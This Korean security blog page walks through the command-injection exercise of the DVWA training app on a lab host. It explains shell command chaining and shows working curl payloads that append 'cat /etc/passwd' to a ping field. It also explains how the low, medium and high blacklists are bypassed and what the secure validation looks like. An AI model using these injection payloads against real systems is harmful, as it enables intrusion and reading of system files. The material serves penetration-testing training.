홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507)

Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325)

VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125)

Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202)

Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129)

[과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619)

[과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827)

[과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810)

[과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809)

Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721)

칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404)

단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329)

WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130)

오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125)

WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123)

오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122)

오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122)

오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121)

오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118)

WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116)

WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114)

WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113)

SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110)

WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110)

MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109)

WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106)

WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104)

WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104)

WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102)

WH-Account-01 웹해킹훈련장 실습 설명서 (20170103)

WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103)

WH-Account-02 웹해킹훈련장 실습 설명서 (20170104)

저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231)

로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228)

DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222)

FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220)

이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219)

HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214)

경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214)

웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213)

HTML 삽입, XSS 공격 탐지방법 (20161211)

오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210)

오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208)

nikto와 owasp-zap 연동 (20161206)

미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205)

오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205)

오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204)

기억하기 쉽고 안전한 비밀번호 만들기 (20161203)

2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202)

KISA의 랜섬웨어 예방 수칙 (20161202)

WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201)

DVWA Brute Force 실습 설명서 (20161205)

DVWA Command Injection 실습 설명서 (20161207)

DVWA CSRF (low, high level) 실습 설명서 (20161208)

DVWA File Inclusion 실습 설명서 (20161215)

DVWA File Upload 실습 설명서 (20161221)

DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224)

DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222)

DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227)

DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226)

DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227)

DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101)

SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201)

WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130)

WebGoat: Bypass a Path Based Access Control Scheme (20161207)

WebGoat, LAB: DOM-Based cross-site scripting (20161208)

WebGoat, Authentication Flaws: Multi Level Login 2 (20161209)

WebGoat, Code Quality: Discover Clues in the HTML (20161210)

WebGoat XSS: Phishing with XSS (20161211)

WebGoat: OS Command Injection (20161215)

WebGoat: Numeric SQL Injection (20161216)

WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217)

WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218)

2016.11.30 웹서버 공격 로그 (20161130)

OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129)

WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126)

WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128)

인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125)

PHP Easter Egg의 이해와 조치방안 (20161125)

WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124)

WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126)

웹해킹 공격/방어 일람 (20161121)

webhack.dynu.net 문자배너 만들기 - toilet (20161121)

MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120)

X-XSS-Protection헤더 시험 페이지 (20161119)

방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118)

클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117)

X-Frame-Options헤더 시험 페이지 (20161118)

공시생 성적조작 사건, 물리보안과 정보보안 (20161117)

ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116)

[웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116)

weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117)

슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115)

버추얼박스 가상머신에서 Tails OS 설치 (20161114)

Kali Linux에 Tor Browser 설치하기 (20161114)

인터넷익명성 - VPN과 Tor (20161114)

Kali Linux, open-vm-tools, Shared Folder (20161113)

SSL Strip 공격과 HSTS (20161112)

모든 꼬리표 모아보기(태그 클라우드) (20161111)

HTTP 세션 탈취와 IP보안 (20161111)

HTTP TRACE method와 XST 공격 (20161111)

세션쿠키와 HttpOnly (20161110)

HTTP 메소드 수동점검 방법 (20161110)

파일업로드(웹쉘) 방어하기 (20161109)

파일다운로드/경로조작 방어하기 (20161109)

XSS, SQL Injection 방어하기 (20161109)

길찾기(sitemap) (20161109)

웹취약성분석 관련 파일 목록 (20161108)

SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107)

웹취약점 분석 도구로서의 THC Hydra (20161107)

웹취약점 분석 도구로서의 cURL (20161107)

[웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104)

[PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106)

무료 웹해킹 교육장 목록 (20161103)

칼리 리눅스(Kali Linux) 설치 (20161030)

가상머신 버추얼 박스(VirtualBox) 설치 (20161029)

가상머신 VMWare Workstation Player 설치 (20161028)

[웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027)

스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719)

<< 목록숨기기
#DVWA #Damn Vulnerable Web Application #웹해킹 실습 #실습설명서 #command injection #운영체제명령어삽입 #명령어삽입 취약점 #ping #curl #/etc/passwd #A1-Injection

DVWA-1.9: 운영체제 명령어 삽입 (Command Injection)

DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다.

DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.

여기서는 구동 후 DVWA 훈련장의 주소가 http://192.168.206.136/이었다. DVWA 누리집의 로그인 정보는 admin/password이다. 실습을 진행하기 전에 다음 두 가지 사항을 작업을 사전에 수행하야야 한다.

  1. "DVWA Security" 항목에서 "Security Level"을 "Low"로 변경한다.
  2. "Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.

"Vulnerability: Command Injection" 공략: Security Level = Low

DVWA의 명령어삽입 실습장(Vulnerability: Command Injection)에서는 시스템 명령어를 다루는 데 있어서 발생할 수 있는 취약점을 배울 수 있다. 예를 들어 PHP에서 가장 널리 사용되는 시스템 명령어 실행 함수로는 system()이 있다.

root@kali:~# cat system-test.php 
<?php system('uname -a') ?>
root@kali:~# php system-test.php 
Linux kali 4.8.0-kali1-amd64 #1 SMP Debian 4.8.5-1kali1 (2016-11-04) x86_64 GNU/Linux
root@kali:~#

위의 PHP 예제에서는 system('uname -a')에서 uname -a 명령어 실행결과가 출력되는 것을 볼 수 있다. 운영체제 명령어의 결과나 시스템 내부 파일을 참조하기 위해 종종 사용된다. 문제는 이러한 함수에 여과없이 사용자의 입력을 전달할 때 발생한다. 예를 들어 system('cat docs/'.$_REQUEST['doc_no'].'.txt')과 같이 docs/ 디렉토리의 문서를 출력하는 기능이 있다고 하자. 개발자의 의도는 docs/1.txt 문서를 출력하는 것이다. 그러나 공격자는 $_REQUEST['doc_no']를 조작하여 새로운 명령어를 삽입할 수 있다. 공격자가 doc_no1.txt & uname -a & #"를 전달하면 위의 PHP 코드에 의해서 실행되는 명령어는 "cat docs/1.txt & uname -a & #.txt"가 된다. 새로운 uname -a가 삽입되어 실행된다. 여기서 &는 유닉스 계열에서는 뒷면 작업(background job)이다. 윈도우에서는 명령어가 하나씩 실행되는 순차적 연결형으로 해석한다. #의 뒷부분은 대부분의 쉘에서 주석으로 처리한다.

명령어 삽입은 쉘(shell)에서 운영체제 명령어를 연이어 사용할 수 있는 특징을 이용한다. 유닉스 계열의 운영체제에서 명령어 연결 형식은 순차적 연결(;), 뒷면 실행(&), 파이프 연결(|), 참 조건형 연결(&&), 거짓 조건형 연결(||), 줄바꾸기형 연결(\n) 따위가 있다. MS 윈도우 계열도 유사한 데 유닉스의 뒷면 실행 연결(&)이 순차적 연결로 해석되는 것에서 차이가 있다. 명령어 삽입 취약점을 점검할 때는 - 대부분의 운영체제에서 공통적으로 지원하기 때문에 - 일반적으로 &를 사용한다.

이제 DVWA 훈련장의 Vulnerability: Command Injection 실습문제를 살펴보자. 왼쪽 차림표에서 Command Injection을 실행하면 명령어삽입 실습을 할 수 있다.

DVWA command-injection home
[ DVWA 훈련장 Command Injection 접속화면 ]

Vulnerability: Command Injection 실습문제의 홈페이지는 IP주소를 입력하여 해당 기기의 ping 결과를 출력하는 것이다.

DVWA command-injection ping 192.168.206.1 excuted
[ DVWA 훈련장 Command Injection: 192.168.206.1의 ping 결과 ]

VMWare의 주인OS는 대개 1번 IP주소를 가지므로 192.168.206.1를 입력하였다. 빨간색 글씨에서 192.168.206.1에 대한 4번의 ping 결과가 출력되었다.

DVWA command-injection cat /etc/passwd
[ DVWA 훈련장 Command Injection: cat /etc/passwd 결과 출력 ]

OWASP-ZAP과 같은 스캐너가 가장 기본적으로 운영체제 명령어 취약점을 점검할 때 사용하는 문자열이 & cat /etc/passwd &이다. 이 값을 입력했을 때 Vulnerability: Command Injection 실습 문제에서는 ping 결과 대신 "cat /etc/passwd" 명령어의 실행결과를 출력하였다. 이로써 공격자는 이 누리집에 명령어 삽입 취약점이 존재하는 것을 확인할 수 있다.

POST http://192.168.206.136/vulnerabilities/exec/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.206.136/vulnerabilities/exec/
Cookie: PHPSESSID=gulk7ha641o55qk52os77asr42; security=low
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Host: 192.168.206.136

ip=192.168.206.1&Submit=Submit

위의 내용은 DVWA 명령어실행 실습에서 서버로 요청하는 HTTP 통신문이다. POST로 ip 변수에 IP주소를 전달한다. 이를 기반으로 curl을 이용하여 블랙박스(blackbox) 분석을 진행해 보자.

root@kali:~# ping -h
Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface]
    [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
    [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
    [-w deadline] [-W timeout] [hop1 ...] destination
Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
     [-l preload] [-m mark] [-M pmtudisc_option]
     [-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize]
     [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline]
     [-W timeout] destination
root@kali:~#

그리고 ping 명령어의 사용법을 보면 -c countping 횟수를 조절할 수 있다. 이러한 점으로 보아 Vulnerability: Command Injection에서는 system('ping -c 4 '.$_POST['ip'])와 같은 PHP 코드를 실행할 것이라고 추정할 수 있다. -c count를 조작하여 명령어 삽입이 가능하다는 것을 증빙할 수도 있다. (명령어의 인자가 중복되면 마지막 인자를 주로 사용한다.)

root@kali:~# curl --cookie "PHPSESSID=gulk7ha641o55qk52os77asr42; security=low" http://192.168.206.136/vulnerabilities/exec/ --data "ip=-c 2 192.168.206.1&Submit=Submit"
[생략]
	<pre>PING 192.168.206.1 (192.168.206.1): 56 data bytes
64 bytes from 192.168.206.1: seq=0 ttl=64 time=0.835 ms
64 bytes from 192.168.206.1: seq=1 ttl=64 time=0.287 ms

--- 192.168.206.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.287/0.561/0.835 ms
</pre>
[생략]
root@kali:~#

ip 변수를 "-c 2 192.168.206.1"로 조작했을 때 결과에서 ping 횟수가 두번으로 줄어드는 것을 볼 수 있다.

root@kali:~# curl --cookie "PHPSESSID=gulk7ha641o55qk52os77asr42; securi http://192.168.206.136/vulnerabilities/exec/ --data "ip=-c 2 192.168.206.1;cat /etc/passwd&Submit=Submit"
[생략]
	<pre>PING 192.168.206.1 (192.168.206.1): 56 data bytes
64 bytes from 192.168.206.1: seq=0 ttl=64 time=0.309 ms
64 bytes from 192.168.206.1: seq=1 ttl=64 time=0.281 ms

--- 192.168.206.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.281/0.295/0.309 ms
root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false
</pre>
[생략]
root@kali:~#

위의 사례는 ip 변수를 조작하여 ping을 실행하고 이 명령어 실행이 끝나면 cat /etc/passwd를 실행하도록 하였다 (-c 2 192.168.206.1;cat /etc/passwd). 이런 방식은 순차적 명령어 연결이며 쌍반점(;)을 사용한다. 다음은 뒷면 실행 방식(backgound job)으로 명령어를 두 개이상 실행하는 방식을 시험한 것이다.

root@kali:~# curl --cookie "PHPSESSID=gulk7ha641o55qk52os77asr42; security=low" http://192.168.206.136/vulnerabilities/exec/ --data "ip=-c 2 192.168.206.1%26cat /etc/passwd&Submit=Submit"
[생략]
	<pre>root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false
PING 192.168.206.1 (192.168.206.1): 56 data bytes
64 bytes from 192.168.206.1: seq=0 ttl=64 time=0.534 ms
64 bytes from 192.168.206.1: seq=1 ttl=64 time=0.276 ms

--- 192.168.206.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.276/0.405/0.534 ms
</pre>
[생략]
root@kali:~#

이 예에서의 ip 변수 값은 -c 2 192.168.206.1&cat /etc/passwd이다. HTTP 통신에서 변수값으로 직접 앰퍼샌드(&)를 전달하기 위해서는 URL 인코딩 값인 %26으로 표기하여야 한다(웹 페이지의 input 창에서는 예외). 여기서는 ping 명령어가 후면에서 실행되자 마자 끝을 기다리지 않고 cat /etc/passwd 명령어가 실행된다. 먼저 끝나는 명령어의 결과가 먼저 출력된다. ping 보다는 cat 명령이 빨리 끝났다는 것을 알 수 있다.

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
            $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
    // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
    } 

위의 코드는 Security Level = Low에서의 PHP 소스이다. ip 변수를 읽어서 검증절차 없이 shell_exec()에 전달하는 것을 볼 수 있다. PHP에서 명령어를 실행할 수 있는 함수로는 system(), passthru(), exec(), shell_exec() 등이 자주 사용된다. 이외에도 escapeshellcmd(), pcntl_exec(), proc_open(), curl_exec(), curl_multi_exec() 등이 있다.

"Vulnerability: Command Injection" 공략: Security Level = Medium

Security Level = Medium에서의 PHP 소스코드는 다음과 같다. 방어와 관련된 부분만 발췌하였다.

    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

&&;의 두 가지 입력을 삭제하여 명령어 연결을 방어하려고 하였다. 두 가지 이상의 명령어를 연결할 수 있는 방법은 이 외에도 &, || 등이 있으므로 이러한 방어는 우회가 된다. 해답의 일례는 다음과 같다.

192.168.206.1 & cat /etc/passwd

"Vulnerability: Command Injection" 공략: Security Level = High

Security Level = High에서의 PHP 소스코드는 다음과 같다. 방어와 관련된 부분만 발췌하였다.

    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

Security Level = Medium에서와는 달리 거의 모든 명령행 연결 관련 문자열을 삭제하고 있다. 그런데 PHP 코딩 과정에서 개발자가 실수한 것을 발견할 수 있다. "|" 대신 "| "를 삭제하고 있다. 그래서 유일하게 다음과 같은 명령어 삽입이 가능하다.

192.168.206.1|cat /etc/passwd

"Vulnerability: Command Injection" 공략: Security Level = Impossible

이 보안수준에서는 ping 명령어의 입력으로 사용되는 ip 변수를 온전하게 검증한다. 숫자 네 개를 마침표로 연결하는 방식을 다른 입력이 들어올 수 있는 여지를 차단하는 방식이다.

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        } 

서버스크립트 프로그래밍에서 시스템 명령어를 사용하는 것은 가능한 피하는 것이 좋다. 반드시 사용해야 하는 경우라면 사용자의 입력이 전달되는 것을 차단해야 한다.

[처음 작성한 날: 2016.12.07]    [마지막으로 고친 날: 2016.12.07] 


> 이 글을 목록없이 인쇄하기 편하게 보기

< 이전 글 : DVWA Brute Force 실습 설명서 (2016.12.05)

> 다음 글 : DVWA CSRF (low, high level) 실습 설명서 (2016.12.08)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 _____________________________________________________
( 윈도우 NT는 2GB 램을 지원합니다. 2GB                                                     )
( 이상을 필요로 하는 어플리케이션은                                                     )
( 없을 것이기 때문입니다.                                                     )
(                                                     )
( - Microsoft, on the development of Windows NT, 1992 )
 -----------------------------------------------------
       o (__)
         (oo)
   /------\/
  / |    ||
 *  /\---/\
    ~~   ~~
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .